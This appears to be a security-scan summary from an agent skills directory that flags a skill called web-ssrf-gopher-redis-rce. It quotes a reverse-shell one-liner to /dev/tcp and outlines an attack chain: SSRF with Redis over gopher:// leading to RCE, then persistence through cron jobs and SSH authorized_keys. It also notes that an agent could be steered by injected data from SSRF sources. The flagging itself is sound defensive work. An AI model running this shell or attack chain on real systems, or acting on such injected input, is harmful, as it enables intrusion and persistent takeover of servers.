The Agent Skills Directory

[COMMAND_EXECUTION]: The skill provides a specific functional payload for establishing an interactive reverse shell: bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'.
[REMOTE_CODE_EXECUTION]: The primary purpose of the skill is to facilitate RCE by chaining SSRF with Redis command pipelining through the gopher:// protocol to execute arbitrary commands on a target server.
[PERSISTENCE]: Detailed instructions are provided for establishing persistent access by writing malicious cron jobs to sensitive directories like /etc/cron.d or /var/spool/cron/crontabs/root, and by injecting SSH public keys into a user's ~/.ssh/authorized_keys file.
[PRIVILEGE_ESCALATION]: The exploit technique focuses on abusing unauthenticated internal services (Redis) to overwrite critical system files, enabling the transition from an SSRF vulnerability to full system control, potentially as the root user.
[INDIRECT_PROMPT_INJECTION]: The skill describes an attack surface where an agent processes untrusted data from SSRF sinks (e.g., webhooks, URL previews, or avatar imports) without validation or sanitization, which can be manipulated into executing the described malicious sequences.

web-ssrf-gopher-redis-rce